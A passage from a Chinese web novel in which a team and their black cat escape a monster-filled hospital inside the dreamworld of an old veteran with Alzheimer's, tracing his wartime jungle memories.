人并没有醒过来,只是一株嫩芽从她的眼睛里长了出来,撑破了眼皮。 植物在快速地生长着,以头颅里脑髓血肉作为养料,生根、抽枝、发芽,长出绿色的叶子。 “苏姐!” 苏乐对上同伴震惊的眼神,摸向自己的脸颊,果不其然,摸到一个柔软的凸起。 就像一株嫩芽。 传染开始了。 “我们得离开这间病房。” 小咪叼住外套,递给她,“喵。” 苏乐知道它的意思,用外套当成围脖,勉强遮住脸颊的凸起。她知道,外面的东西治病手段很粗暴,哪里发芽割哪里,要是被发现,他们都难逃一死。 但是,药在天上是什么意思? 不知道是不是钱成功之前那一嗓子引来医生的注意,他们准备离开时,门突然被打开了。 一张防毒面罩裹住的头颅伸进门框里。 “啊,你们也生病了啊。得手术!得手术!”它大喊。 第48章 “走!” 苏乐召出了影子。 她的影子变成把大铡刀, 猛地劈向了门,割草一样劈翻一群护士。 几个人跟在她的后面,万木春伸手想把小猫捞过来, 猫却灵敏地从他手臂跳出去,趴在窗户上。 小咪的耳朵后撇。猫的听力比人更要敏锐,在嘈杂的吵闹声里, 它听见远处响起另外一种声音。 就像蜂群朝医院快速飞来,气流被翅膀搅得嗡嗡震动,森林里的树叶也被风卷起细微的拂动。 小咪听过这声音,觉得很耳熟。猫听过这种声音。 “咪咪,要走啦。”人在催促猫。 “喵呜。”小咪跳到最后一张床上。那个昏迷不醒的少年眼睛微微睁开一条缝隙,目光茫然,没有焦点。 它又歪头看向钱倩倩,植物的根须从她的嘴巴和耳朵里探了出来, 她张大了嘴,胸膛没有了起伏。 小咪趴在少年的身上,用能力驱动单人床,骑着床跑出来。 走廊很多医生护士拿着锯子手术刀在追赶他们。苏乐在前面用影子能力开路,赵铮铮守在后面用枪断后。 到走廊尽头,要下台阶时,苏乐停住脚步, 陷入两难。 一条台阶, 两个方向。 往下面走, 离开医院, 他们就能摆脱这群想给他们截肢的怪物,可身上感染的病症不一定会治好;往上面走,也许能离“天上”更近一点, 可很明显,会被怪物堵死后路。 药在天上到底是什么意思?人又不能像鸟一样飞到天上去。 怪物堵满了楼道,一个个扑过来,赵铮铮没有催促她,只是一次次拔枪,冷静地对准怪物的喉咙。她的枪法很好,一声枪响就有血花溅开。 吉祥也拔出枪,双手微微颤抖,跟在队长身边,把扑来的怪物当成练习时的靶子。 这些怪物是非人存在,子弹只能稍微阻拦它们的步伐,就算被呼啸的子弹炸开半边脖子,它们也歪斜着脑袋,挥舞着锯子摇摇晃晃跑过来。 离得越来越近,他们还能看见锯齿上血红的骨茬。 苏乐犹豫片刻,把目光放在往下的楼梯。她想先带大家出去,再独自回来寻找解药。 “喵喵喵!” 猫的叫声让她抬起头。 小咪坐在护理床上,朝她大声叫。房间的护理床连带床上的病人都被它带了出来,跑到楼梯上,停在楼梯转弯的位置。 苏乐定了定神,改变主意,大铡刀把猫后面的怪物劈成两段,“往上面走!” 小咪在前面开路,“喵喵喵。” 人快过来。 它已经想明白是怎么回事了。 人的步伐越来越慢,小咪往后面看,担忧地叫起来,“喵呜——” 苏乐脸上的皮肤裂开,长出了一株绿色的新芽。嫩芽快速攥取她的生命,她扶住楼梯,晃了下头。 小咪:“喵呜。” 苏乐眼前阵阵发黑,猛然看见一团漆黑扑向自己,下意识接住。 小猫跳入她的怀里,像水柔软的小肚子压住她的手背,滚热的温度透过湿冷肌肤传来。 苏乐眯了下眼睛,身上的不适已经非常明显,很像失血过多,腿软得像面条一样,身体无比冰冷,好在有一只猫猫暖手宝贴着身体。 她感觉自己的头越来越重,不由自主地低下头。 “苏姐……”万木春面色苍白。 苏乐脸上植物长得飞快,就像绿化带中大团膨出的植物,已经比她的脑袋更大了。不仅是她,其他人也感受到不同程度的不适,身上有植物发芽。 “要手术,要手术。”怪物们声音高亢,紧张兮兮,有个三米多高的医生不知道从哪里还抽出把电锯,电锯嗡嗡作响。 赵铮铮的植物是在虎口处发芽。这让她有点握不稳枪,迅速拔高的绿草挡住了视线,她想了下,从腰侧抽出一把锋利的多功能刀具。 治安员身上常备这把小刀,不长,三十厘米,刀背有锯齿,可以用来割绳索、敲碎玻璃、锯钢筋,在很多种紧急情况下都有大用。 现在,它被用来割断从身上长出的植物。 锯断小树的瞬间,鲜血飚了出来,赵铮铮把刀丢给其他人。 “嘶——”万木春锯着从锁骨长出的草,滚热的血溅在自己脸上,锯齿刺开皮肤的感觉如此清晰,他感觉自己是在锯自己身上的一部分。 他疼得倒吸冷气,一看苏姐和赵队面不改色手起刀落就把植物割下来,更加钦佩了。 不过割掉植物只能缓解病状,他们马上又面临更严重的情况。 大量的鲜血从苏乐脸上断口飚了出来,失血过多,让她跪倒在地上。 怪物们依旧在逼近,“要手术,要手术!” 一个拿锯子的医生从台阶走下来,手里电锯嗡嗡,面罩上溅满了殷红的血。 “喵。”小咪把爪爪搭在苏乐的脸上,肉垫贴着湿冷的皮肤。 在失血过多中,人感觉到生命力在不断流逝,温暖离自己远去,意识逐渐模糊,仿佛要坠入无尽的寒夜里。 但突然有只猫猫把肉垫贴在她的脸颊。 苏乐慢慢睁开眼睛。 小咪在试着用自己的能力——所长和她说过,第二条命是神奇的影子,它掌握的是生的力量。 让死尸复活、驱动没有生命的物品,实质上是把生命注入它们的身体中。 小咪试着把生命注入到苏乐的身体上。 女人脸颊上的血洞飞快愈合,她睁开眼,不可置信地看着小猫咪。 “喵呜~”小咪轻轻叹口气,胡须跟着一颤,歪头蹭了蹭总是需要猫保护的人类。它跑到其他几个人身上,替他们把伤口治好。 苏乐用铡刀劈翻怪物,“快点割掉身上长出来的东西,咪咪可以为我们止血。” 万木春疼得发抖,边抖边笑:“咱们是带了个超级大奶喵啊。” “咪呜。” 锯断植物就像活生生从身上割掉一块肉,钱向前和钱成功都忍受不了这样的疼痛,刚锯破皮,就痛得捂住伤口,直不起身体。倒是叫王菱的少女,手起刀落,面无表情地割断手臂长出的草,让愚公小队的为她叫了声好。 苏乐带着人继续往前走。 她耳朵一动,在嘈杂的声响中也听见一道嗡嗡的声响。 “咪呜!”小咪尾巴缠绕住她的手腕,望着头顶,大声提醒。 “这是……”苏乐喃喃,“这是陷在丛林里的医院,附近在打仗,物资短缺,药品很有可能是从飞机上,直接丢下来的。药在天上是这个意思吗?” “喵!” 小咪尾巴在她手背轻柔拂过。 怪物们在后面穷追不舍,苏乐带人跑了几层楼,推开通往楼顶的门。 屋顶平坦宽阔,被做成了操场,上面还有一个皮球。 “快进来。”其他人都跑进来。 钱成功的脚背皮鞋裂开,鞋子松松垮垮套在脚上,一棵树冒出头,他的动作缓慢,快要被医生追上。 “救救我。”他伸出手,绝望地求救。 “砰。” 一颗子弹飞出,正中医生眉心。 小治安员抬起枪,跑到外面,拉住钱成功的手。赵铮铮没说什么责备的话,翻身跑出,为他们作掩护。 将钱成功拖上屋顶,万木春犹豫要不要把门关上,“钱向前呢?” 他往下面望了眼,在疯狂晃动的灯光下,一个奇怪的东西慢慢走上来,影子爬上惨白的墙壁。 万木春不合时宜地想起一个故事。 水手们在海上遭遇风暴,船体散架,他们依靠木板在无边的大海上漂浮,不知道飘了多久,终于看见一座岛屿。 岛屿上树木苍郁,欣欣向荣。水手们抓了只海鸟,准备生火做饭时,整座岛屿却突然翻了个面。 原来这不是岛,是一只飘在海中睡觉的大鲸鱼,感受到火焰的温度,它就翻了个身。 出现在他眼前的怪物就很像他年幼时幻想出的鲸鱼。它慢腾腾地走着,后背弯曲,头被后背的重量压得几乎低在地上,在背上,生长着密密麻麻的许多植物,就像一块移动的小型森林。 后面的医生护士们躺在了地上,似乎被它杀死了。 “等等我。等等我。” 钱向前的声音从它身上传出,飘渺得像一阵风,吹得后背那些树叶哗哗作响。 “快关上门。”崔姜按着他的手,砰地一声把门合上,锁起,其他人又用重物抵住门,阻止怪物接近。 等等我。等等我。 它依旧在外面低低叫嚷着,把门撞得砰砰响。 整座楼都在摇晃,绿色藤萝从窗户里爬出,根须让混凝土生出裂隙。 苏乐仰头看着天空,远处隐约有一架飞机的影子,但它已经飞过医院,越来越远,消失在浓密的云朵里。 人们瘫坐在地上,被割掉的植物又开始发芽。 “这次鬼域也太诡异了,”万木春坐在地上,“根本没有头绪啊。” 他低头,看见锁骨长出的小绿芽,嘶了一声,虽然猫猫可以给他们止血,可亲手割掉这东西,跟在自己身上挖一块肉似的,是真疼啊。 “苏姐,我用一下我的能力吧。” 苏乐点了下头。 万木春的能力是占卜,能卜出鬼域中一个线索。他们在鬼域中经历越多,卜出的线索越关键。 万木春闭上眼睛,碎碎念一会,跪在地上朝跪拜,从手上的佛珠摸到脖子上的十字架,把认识的神明都念了一遍。 吉祥瞪大眼睛,好奇地问:“这是要作法吗?” 崔姜:“求一个好卦。他就是迷信。” 小咪歪头,跳下护理床,跑到万木春旁边。地上的影子慢慢变形,变成一个乌龟。 乌龟慢慢爬动,突然被猫一爪子打翻。 万木春的身体也失去平衡,栽倒在地上,本来想翻身的,却有股无形的力量压住了身体,让他动弹不得。他艰难地转过脖子望去,小黑猫一爪子压在他的影子上。 “咪咪。” 猫猫睁着无辜的眼睛,呆呆看着他。 万木春微笑:“别压着我的影子。” “喵呜。”小咪放下了爪爪。 万木春刚松一口气,就看见它重新抬起肉垫。 乌龟飞了出去。 小咪翘起尾巴在后面追。 乌龟、乌龟—— 猫玩得很开心。 苏乐拎起小猫罪恶的爪子,把它抱了起来。万木春也从乌龟壳上看到自己想要的线索。线索只有一个字,很简单,“脑。” “脑?”他摸不着头脑了,“是因为咪咪捣乱,结果错误了?” 但短时间他也没法再卜一次。 “都怪你,坏猫。”崔姜曲起手指,轻轻弹了下小咪的鼻头。 小咪委屈地大叫一声,又被眼前摇晃的绿须吸引。苏乐脸上生长出的植物被劈断的横截面又抽出许多条绿色的嫩芽,垂落的绿须在小咪的头顶晃动。 高楼摇晃,雨云沉甸甸压在头顶,门被怪物撞得砰砰响。 世界好像在崩塌。 人们焦急如焚地看着天空,有的神情呆滞,仿佛已经绝望。 只有小猫咪,低下脑袋,专心致志地玩着地上的蚂蚁,玩一会又去追自己的尾巴,在宽阔的楼顶跑来跑去,遇到裂缝就跳过去。 “苏姐,我们真的能走出去吗?”崔姜面带忧色,走到苏乐旁边,轻轻问。 苏乐看着跑来跑去的小猫,露出微笑,“嗯”了一声。 “其实,我大概知道我们在哪里了。” 崔姜惊讶地睁大眼睛。 但苏乐却没有往下说,轻叹一声,“要是人像小猫一样就好了,小小的脑袋,装不下太多,就算有不好的回忆,也会很快忘记。” 小咪注意到人的视线,翘起尾巴跑过来,“喵。” 它的嘴巴里还叼着一只抓到的虫子,开心地和人分享。 是猫抓到的猎物,送给人! 苏乐捡起虫子,“谢谢咪咪。” “喵!” 不客气。 小咪用力蹭她的鞋子,突然抬起头,咪了一声。 等了一两分钟,人们才听见同样的嗡鸣声。他们抬起头,看见一架飞机从乌云里飞过,像只张开金属羽翼的大鸟。 吉祥兴奋地朝上空招手,大喊吸引飞机的注意。 没多久,一个箱子掉了下来。 他们从箱子里翻到绷带、手术刀、一些医疗器具,还有很多种药物。纷繁的药片让人看了眼花,幸好后面有说明。 “退烧的、降压药、降糖药、心脏病药……我们该吃哪一种,不会都要吃一片试试吧。” 苏乐捡出一盒药,“吃这个。” “这是?”万木春翻到后面,念道:“本品应有对阿尔兹海默型痴呆的诊断……老年痴呆?” 苏乐点头,捏住小咪跃跃欲试想把药拍走的爪子,“咪咪算出的线索很准。” 小咪歪头,“喵呜?” 苏乐分了一片药给众人,服下药后,他们身上的植物便迅速枯萎,掉在了地上。 小咪叼走一片药,跳到护理床上,分给被自己救出的少年。 少年微微睁开眼睛,虚茫的视线聚焦在小咪身上,扯起干裂的嘴角,呢喃:“猫猫?” 小咪蹲在他的脸颊,歪头蹭蹭他的脸。 “你还好吧?”苏乐垂头看着少年,把他当做能提供重要线索的npc ,“你是谁?怎么变成这样啦?” 少年凝视着小猫,“这个地方快死掉了。” 医院的摇晃越发明显,翠绿的树叶在楼顶围栏边缘摇晃。丛林步步紧逼,森林阴暗幽绿的影子似梦魇覆盖这座楼房。 疗养院已经摇摇欲坠,翠绿的杂草快把道路淹没。 他们就算从这栋楼逃出,也很难再去其他楼取到钥匙。 “我也已经死去,是他把我从地下召回。”少年呆呆看着她,“他也快枯萎了。” “钥匙在哪里?”苏乐问。 少年仰起嘴角,露出个孩子气的微笑,“钥匙打不开已经生锈的门。”他的眼珠子转动,看向蹲在枕头的猫猫,“我的家,在烛城,燕子塔的附近,枕头下我给娘写的信,你能帮我把信交给她吗?” “喵!” 小咪用爪爪往他枕头下掏。 苏乐其实检查过少年的枕下,没有发现什么,但当小猫漆黑的爪子掏出来时,它的指甲勾住了一个信封。 打开信封,里面也是一把钥匙。 “苏姐,到底怎么回事?” 苏乐:“没时间说这个了,先跳下去吧。咪咪。” 小咪趴在少年的脸侧,正听他念一首诗。 “它散布,疾病和绝望,和憩静,要我依从。 在横倒的大树旁,在腐烂的叶上, 绿色的毒,你瘫痪了我的血肉和深心! ” …… 跳下坍塌的医院,苏乐抱着小猫,带领人重新往疗愈楼走。 疗养院漂亮的花园到处是齐膝的杂草,栽种的树木蹿高许多。 “喵呜。”小咪注意到一个地方蝴蝶翩跹,开满鲜花,兴奋地从人肩膀跳下,跑过去扑蝴蝶。 苏乐连忙追在后面,抓起小咪的脖颈,“不许乱跑。” “咪呜。” “苏、苏姐……”崔姜声音颤抖,指向前方。 苏乐抬起眼帘,看见一地的白骨,鲜花从黑黢的眼洞里长出来,蝴蝶在白骨上翩翩飞舞。 因为血肉的滋养,这里的鲜花才开得格外茂盛。 “是那些npc,全死了。” 苏乐脸上没有表情,拨开草丛,带人往前走。眼前的疗养楼上攀满绿色藤萝,在植物围攻下,建筑也显得不再坚硬,生出柔软的褶皱,似乎在微微摇晃。 “苏姐,我们还没有收集齐钥匙。”万木春不解:“这时候就算回去,也打不开钥匙啊。” 苏乐:“疗养院其他楼已经坍塌了。” “楼塌了钥匙就会消失吗?”万木春挠头,“那不就永远打不开门了,我们就一直出不去啦?” 苏乐摇头,“楼塌了,说明锁已经不存在了。” “啊?” 几个人都没想明白怎么回事,只有小咪仰起头颅,金色的眼睛专注看着翩飞蝴蝶,“咪呜”一声。 苏乐摸摸它的小脑袋,露出微笑,“在医院的时候,阿炫给我回复了。他找到了这首诗……” 这首诗名字叫《森林之魅》,是一首祭歌,祭奠森林里的白骨。 当年远征军出国作战,恰逢雨季,暴雨倾盆。他们进入没有被开发的原始森林,树木遮天蔽日,毒虫从树叶掉落,传播病毒的蚊虫乌云般在空中呼啸。 士兵们忍受着瘴气、疟疾,双足陷入泥泞里,长期浸泡雨水,腐烂露出白骨。 有时候在原始森林里迷失,只能靠地上同伴倒下的白骨来辨认方向;疾病短缺,只能啃着树皮泥土、皮带为生,连尸体里长出的蛆虫,也是一道填腹的食物;湿热天气成群蚊虫让疾病肆虐,士兵们高烧昏迷一个个倒下,躺在泥泞里,被蚂蚁啃食成森森白骨…… 他们只能踩着同伴的尸骨血肉往前行。 “在阴暗的树下,在急流的水边, 逝去的六月和七月,在无人的山间, 你们的身体还挣扎着想要回返, 而无名的野花已在头上开满。 ” 苏乐低低念着这句诗。 崔姜和万木春对视一眼,他们都想到了那位躺在床上,在疗养院待了很多年的老人,“难道老爷子,以前也参加过那场战争?老爷子和鬼域又有什么关系呢?” 疗养院杂草疯长,如果它是一座堡垒,现在就在被森林攻破的边缘。眼前的走廊情况更加糟糕,植物粗暴地从窗户里挤入,几乎没有空隙让人行走。毒虫在树叶间爬动,巨蛇悄悄在阴影中嘶嘶吐信。 人们费劲地拨开藤萝,劈断拦路灌木,走到门前。 “真的消失了。”万木春瞪大眼睛,喃喃,“可是苏姐,我还是想不通,为什么锁会消失。” 苏乐把钥匙插入锁里,说:“小心,不要被绿色入侵这句话不是给我们的提醒。不止是。” “那是给谁的?” “这座疗养院。” “啊?” 苏乐:“每一栋建筑,都代表一段难以忘记的回忆。但是,因为阿尔兹海默,建筑在坍塌,森林在扩张。现在他已经快把现实所有的事情都忘记了,只有过去那段属于雨林的噩梦,像阴影一样猛烈地入侵,占据了所有的理智,我们在经历他的梦魇。” 她可以想象他的经历。 饥饿的日子里,有好心人悄悄送来一个罐头;躺在医院里,与自己年纪相仿的少年浑身缠满绷带躺在旁边,枕头下藏着一封家书;战争、疾病、饥饿、死亡…… 她还遥遥望过其他几栋楼。有一栋米白色的小楼被落地窗填满,阳光从大片玻璃洒入,小楼闪闪发光,温馨至极,从玻璃可以望见里面挂在墙上的巨幅照片,照片上是个女人,也许是他的母亲、也许是妻子、也许是女儿…… “连楼都坍塌了,说明他已经忘记了那段记忆,属于它的锁也不存在了。他已经忘记了全部,记忆里是一片潮湿的雨林。” 看着众人各异的表情,苏乐平静地说:“我们正在一位老人萎缩的大脑中。” 第49章 “也许门上曾经不止一把锁。” 只是因为阿尔海默症的关系, 忘记了越来越多的过去,在他大脑中,属于过去的旧楼一栋栋坍塌成废墟。 在这一望无尽的森林里, 也许深藏许多被绿色掩埋的废墟。 但现在,它们都被丛林占领,记忆覆满潮湿的苔藓,过往泡在浑浊的沼泽里。在日复一日的忘记里,他终于忘却所有,回到昔日的暗不见天日的森林里,回到属于饥饿、疾病、战争的梦魇里,永远被死亡的恐惧攥住心神。 “这两把锁孔还在,我们为他挽留了两段回忆。” “咔嚓。” 苏乐扭开门锁,门刚打开一条小缝,她肩头的小猫就飞快跳下, 大步跑了出去。 小咪跑起来时,长毛像海洋一样掀起波纹,它头颅抬起,像头小狮子颠颠儿跑进病房,一跃跳上青年的膝盖。 “喵呜。”小咪用头蹭他的手。 他的手臂无力搭在套有柔软海绵的扶手上,五指苍白修长,看小猫凑过来, 冰冷的指尖轻轻给它挠了下头。 “咪——”小咪拿人的手当自动挠猫器,让他挠了下头顶,又侧着脸颊蹭,然后眯起眼睛,抬起下巴,让人给猫挠下巴。 在使唤人上面, 小猫从来不会心慈手软。 沉风渡没有为猫服务多久,空气里飞扬的猫毛就飞入他的鼻腔,他捂住嘴,胸腔剧烈起伏,竭力遏制的咳嗽声从苍白的唇间溢出。 “咪呜?” 小咪不明白怎么回事,爪爪撑在他的胸口,脑袋凑到他的面前,圆圆的眼睛好奇地看着他。 崔姜想起护士的话,连忙把小猫捞了起来,“你猫毛过敏是吧,那就别摸了啊。” “喵?” 猫毛过敏是什么意思? 小咪甩了下尾巴,看沉风渡咳嗽的模样,半晌,得出结论: 人,好脆弱! 猫就从来不会对猫毛过敏。 “我们是来接你出去的。”苏乐谨慎打量眼前的人。 他坐在轮椅上,肌肤苍白,五官很像自己的母亲,羽毛一样浓密的长睫下一双漂亮的桃花眼,显得脆弱又无害。 但既然能在鬼域中生存这么久,还给他们留下了线索,眼前病人应该远不似外表这么荏弱。 “你怎么进入鬼域的?”苏乐问。 沉风渡弯起嘴角,“小时候,我注意到有人潜入疗养院,想要杀死我。而院里有一位老爷爷,他拥有神奇的能力,可以想象出另一片世界。于是,我请求他让我进入他的脑海里。” “厉害了兄弟,”万木春大为钦佩,“那时候你几岁?四岁还是五岁,居然就这么发现鬼域入口,还能在里面活这么多年,牛!” 苏乐微微眯起眼,心里仍有许多疑问。 却在此刻,建筑猛然摇晃,被根系撕开的裂缝更大,混凝土碎块噼啪落在茂密的植被上,像下了场灰蒙蒙的雨。 “先离开吧。”赵铮铮说,“怎么才能从这里出去呢?” 苏乐沉吟:“既然在老人的脑袋里,那……” 话还没说完,房门口的钱成功突然转过身,大步冲向外面。 “糟了!”意识到他想做的事情,苏乐连忙说:“快拦住他!” 钱成功身影已经冲进走廊里,身子一矮,就钻入从窗户伸入的树枝中,消失在葱郁的绿色中。 几个人在走廊末尾追到他。 他抓住躺在床上的老人,手里拿着那把多功能小刀,刀尖抵住老人的太阳xue 。 老人衰弱的身体像没有骨头的蛇,软软的让他提了起来。 “我要杀了他!”钱成功双眼通红,大声说:“只有杀了他才能走出这个鬼地方!这里就是他的脑子,只有杀了他,才能从他的梦里走出来!” “你你先别冲动。”吉祥放下枪,试图说服他,“还有别的办法能出去的。” “还有什么办法?再待下去,我的身上又要开始发芽了!”他的身体颤抖,亲人的惨死让他精神崩溃,“发芽!一棵树从我的脚上长出来,它吃我的血、吃我的肉,它的根须插进我的血管里,伸进我的肺里,我现在还能感受到它,你们知道吗?它藏在我的肉里,一会它就要长出来了。” 万木春和崔姜使了个眼色,崔姜往前走了一步,放柔嗓音,“钱成功。” 她的能力是蛊惑,在谈判时很有用。 钱成功听见声音,抬头对上她的眼睛,精神一阵恍惚,等反应过来时,手里小刀被夺下,老人也被抱走,背在万木春的背上。 钱成功崩溃地抱头大哭。 小咪跑到他面前,爪爪趴在他膝盖上,“喵呜?” 猫试着蹭掉人脸上的泪珠。 钱成功抱住小猫咪继续哭。 “你错了。”苏乐垂眸,叹气:“你忘啦,现在并不是现实,而是在老人的精神世界里。这里的他,可能是他最后一抹自我意识,杀掉他,我们就会永远困在森林里。” “那要怎么办?”钱成功抬起头,瓮声瓮气地问。 “羊。”苏乐:“他一直在重复,他看见了一头白羊。” 沉风渡微笑着补充:“爷爷和我说过,他在森林迷失方向,靠着一头羊的带领,才走出那片死亡之地。” “所以,我们要找到那头象征生的羊。” 在猫咪的抚慰下,钱成功冷静了很多,低头就想拿猫擦脸。 “喵呜!”眼前一张布满眼泪鼻涕的大脸越来越近,小咪连忙拿后爪蹬他的脸,把他往外推。 人,不要恩将仇报。 小咪从他怀里跳出来,跳到沉风渡的膝盖,挠了挠他的海绵扶手。 沉风渡摸两下猫,又开始咳嗽了,咳得嘴唇泛青。万木春把小猫抱走,忍不住感慨:“兄弟,你是用生命在撸猫啊!” 在疗养楼倒塌前,他们及时从窗口跳了出来。 眼前变成片无边无际的森林,仿佛暗绿色的大海,坍塌的废墟上,有点点鲜花盛开。 茂密的森林昏暗,站在一棵棵高耸的大树下,人显得像蚂蚁一样渺小。 他们很快就面临一个问题:该怎么辨认方向。 如果在现实世界,可以一颗观察太阳、影子、植物、地标这些判断方向,来确定怎么走出去。但现在他们正处在一个患有阿尔兹海默症病人混乱的大脑里—— 万木春抬头看树,指着左手方向,“树叶浓密的一边是南面,这边是南,那边是北?” 吉祥蹲在地上,观察一株被截断的大树年轮,得出相反的结论,“朝南的一边年轮更稀疏一点,朝北的年轮比较密,这样看,南北方向是反过来的。” 赵铮铮:“这里不是现实,所以,不能用现实的常理来判断,是吧,苏姐?” 苏乐点点头,作为鬼域的主人,老爷子肯定也早就忘记森林里具体情况,在他们那个年代,他不一定知道根据年轮树叶来判断方向。 在他的潜意识里,肯定还有一种方法,能帮他们走出森林。 苏乐正在思考着。 没有人注意到,不声不响混在人群里的少女悄悄靠近沉风渡。她悄无声息地踩着地上腐烂绵软的落叶,站在青年的后方。 沉风渡低着头,露出后颈毫无血色的苍白肌肤。 她想,只要伸出手划一下,就能轻松割破他的脖子。 孙菱抿了抿嘴角,手心出现一把利器,准备完成自己接到的第一单,杀死这名叫王旦的青年。 突然,她对上了一双圆圆的金瞳。 青年的肩膀冒出个猫猫头。他努力忍住喉咙痒意,环住小咪,小咪也乐得接受人类的服务,趴在他身上,还探出脑袋,朝孙菱叫:“喵喵喵。” 快来快来。 快来摸小猫的头。 光柱从茂密森林洒下,细小的尘埃在光里游荡,小猫漆黑的长毛染成金色,仿佛在闪闪发光。 孙菱手里的白虹贯日消失,缩回了地上,她抬起两只手,抓住猫猫的耳朵,掌心裹住它脸颊两侧,然后,狠狠搓猫猫头! “喵呜。”小咪被人类柔软的掌心裹住了头,脑袋被揉成椭圆,晃来晃去,它眯起眼睛,被摸得喵喵叫。 “你是我父亲派来杀我的吧?”沉风渡轻声说。 只有他们两个人听见了这句话,孙菱的眼神猛地冷了下来。 沉风渡依旧背对着她,柔软的黑发贴着苍白肌肤,青色的血管清晰可见,像叶片的脉络。 “喵啊——” 孙菱在犹豫要不要出手时,手指又被小猫的肉垫勾着,贴在猫猫的脸颊。 小咪:“呼噜呼噜。” 还不够,再摸摸。 人,要好好给猫服务,不要偷懒。 孙菱心里杀意全无,放弃当一个冷血无情的杀手特工,认命当一个称职的撸猫女工。 沉风渡笑了一下,依旧用只有两人听见的声音,轻声问:“他出了多少?” 孙菱:“三十万。” “啧,这么少?” “我们这行很难的,一层层剥削下来,到手就很少了。”孙菱揉着猫猫的脑袋,“看在小猫的份上,你如果给多了一点,我可以倒戈哦。” “好啊。”两个人轻松达成一场交易。小咪也被人摸了个爽。 “咳咳咳。”但沉风渡很快就被空气里激起的猫毛弄得咳嗽,被残忍地剥夺了摸猫资格。 “咪咪,不要跑到人家身上去,好不好?”崔姜教育:“你会害死人的。” “咪呜。”小咪挣扎着从她怀里跳出来,被森林里的小虫子吸引注意力。 幽黯、湿热的大森林,布满毒虫、野兽,是死亡之林,但对小猫来说,是片可以尽情游戏的大林子。 它抬头看着参天的树木,“喵。” 好多猫爬架哦。 小咪一下子跳到了树上,飞快就蹿到树枝上,崔姜急得在下面喊:“咪咪,小心毒蛇啊。” 孙菱想起生死擂里小猫的表现,忍不住说:“它才不怕毒蛇。” 毒蛇哪奈何得了丧彪哦。 小咪爬在树上,仰起头,在林间找来找去,它的胡须微微颤抖一下,“咪呜?” 它看见让自己感兴趣的东西了。 苏乐在思考那首诗。 “在阴暗的树下,在急流的水边, 在逝去的六月和七月,在无人的山间, 你们的身体还挣扎着想要回返, 而无名的野花已在头上开满。 ” 她想起小猫带自己去过的花园——医院里的人们倒在地上,化作一堆白骨,血肉流入地里化作肥料,骨堆绽开鲜花与树木。 “他们在大森林里迷路时,靠着倒下的尸体来判断方向。” 崔姜眼睛一亮,“所以我们也该找到尸体……不对,那些NPC的尸体早就被森林给埋起来了,而且,我们出疗养院的时候,看见一地的尸体,哪个方向都有,怎么判断我们应该走向哪边?” 苏乐:“只有战友的尸体,才会指出一条正确的路。” 说话的时候,钱成功叫了声,从手上甩下一个五彩斑斓的大蜘蛛,惊慌地说:“我身上又要发芽啦。” 他的手背长出个大包,包中心有脓水流出,万木春连忙给他紧急抹药包扎,安慰:“没事,只是被咬了一口,应该不会死那么快啦。” 刚说完,他觉得自己脖子里痒痒的,往里面一抓,抓出条毒虫,虫子嘴里还咬着块他的肉。 “应该不会死那么快啦。”他也用这句话安慰自己,然后眼前一黑,栽倒在地上。 森林悄无声息地朝他们吐出的獠牙。 苏乐决定,在找到方向前先不轻举妄动。 崔姜在地上搭建简单营地,阻隔上面落下的毒虫,赵铮铮和吉祥全副武装,拿着枪在旁边守卫,看见野兽就开枪,吓走他们。 时不时有毒蛇虫子掉在头顶的油布上,噼里啪啦,像雨点一样。 孙菱紧盯着沉风渡和老人,提防从天而降的毒虫,就像守着自己的几百万。毕竟主顾看起来太弱,她怕自己不小心,钱就泡汤了。 等着等着,她不由焦心,“咪咪怎么还没回来?” “玩野了吧。”崔姜扁扁唇,喊了句“咪咪”。 小咪翘起尾巴,正跳过一棵倾倒的朽木。 猫猫蹲在地上,屁股扭几下,像兔子一样猛地一跳,抓到一只虫子,它又一跳,扑倒一只蝴蝶。 小咪第一次看见无边无际的大森林,被这片绿色的花花世界迷了眼。 会动的猫罐头,高耸如云的猫爬架,宽阔得可以打滚的猫爪板,还有很多陪猫玩的小虫子。 这里一定是猫猫的天堂吧! 在听见人的呼唤时,小咪意犹未尽,还是选择回到人的身边。它还为人带回了礼物—— 一条被咬断脖子的毒蛇。 一只大花蜘蛛。 一个漂亮的蝎子。 钱成功吓得大叫:“快把它们带走!啊啊啊,不要过来哇!” 小咪歪了歪头:“喵呜?” 这是猫精心挑选的礼物,人不喜欢吗? 猫有点失落。 苏乐从林子里走回来,“我看见一种奇怪的树,树皮上长着一张人脸。” 小咪叫:“喵!” 猫也看见了。 在食堂的时候,小咪看见倒下的厨师眼睛里植物发芽,长出一棵大树,树皮上褶皱雕刻出人脸的模样。 厨师是给猫罐头的人,他变成的树应该也是好树。 猫是这样觉得的。 小咪跳上一块石头,朝他们喵喵叫。 “咪咪这是?” 苏乐露出微笑,“小猫想要带路呢。” 在森林里赶路不是一件轻松的事情,小咪跑了一阵,时不时要回头等一下人类。有的时候,它趴在树根等半天没等到,还要折回去找他们。 “喵喵喵!” 走这边。 赵铮铮扶着万木春,他被毒虫咬了一口,已经发起高烧,后背肿起的包有拳头大小,如果不尽快得到救治,情况会很严重。孙菱崔姜吉祥也轮流扶着其他几个老弱病残,艰难在腐烂成泥的落叶中跋涉。 时不时被不知名的虫子叮一口,身上一疼,就肿起了脓包。 双脚泡在泥水里太久,已经没有了知觉。 没走多久,饥饿又来势汹汹。 “咕咕——” 几个人的肚子里响起雷鸣一样的响声,此起彼伏的,胃好像绞在一起,饿得头晕眼花,身体虚软无力。苏乐却还好,她推测是因为自己吃了几口食堂“食物”的关系。 “好饿啊。”崔姜刚说完,前面奔跑的小猫转过脑袋,给她咬来了一只小田鼠。 猫不能理解,为什么人在这么一个食物充足的地方会饿肚子,但既然人饿了,它就捕猎来养人类吧。 崔姜对上小猫期待的眼神,只好婉拒:“咪咪,我不吃这个,你吃吧。” “咪呜。”小咪失望地松开嘴,把小田鼠放走了,跑到旁边舔爪爪。 喂养人类真是个精细的活。 崔姜羡慕地看着在前面舔毛的悠闲小猫,“好想当一只猫呀。” 孙菱赞同,“主要是丧彪很厉害。” “丧彪?”崔姜回头看她,“你认识咪咪?” 孙菱眼神发飘,“不认识,呃……它这么凶猛,喊它叫丧彪,很合理吧?” 崔姜捂唇轻轻笑了下,“我们咪咪是很厉害的。” “喵呜。” 小咪耳朵动了动,突然跳到半空,一个漂亮后翻,抓住条想咬人的毒蛇。它知道这些人也怕蛇了,牙齿咔嚓咬断蛇的脑袋,丢到一旁,放弃把它当礼物送给人的想法。 它跑到树根挠了挠爪子,继续翘起尾巴高高兴兴给人带路。 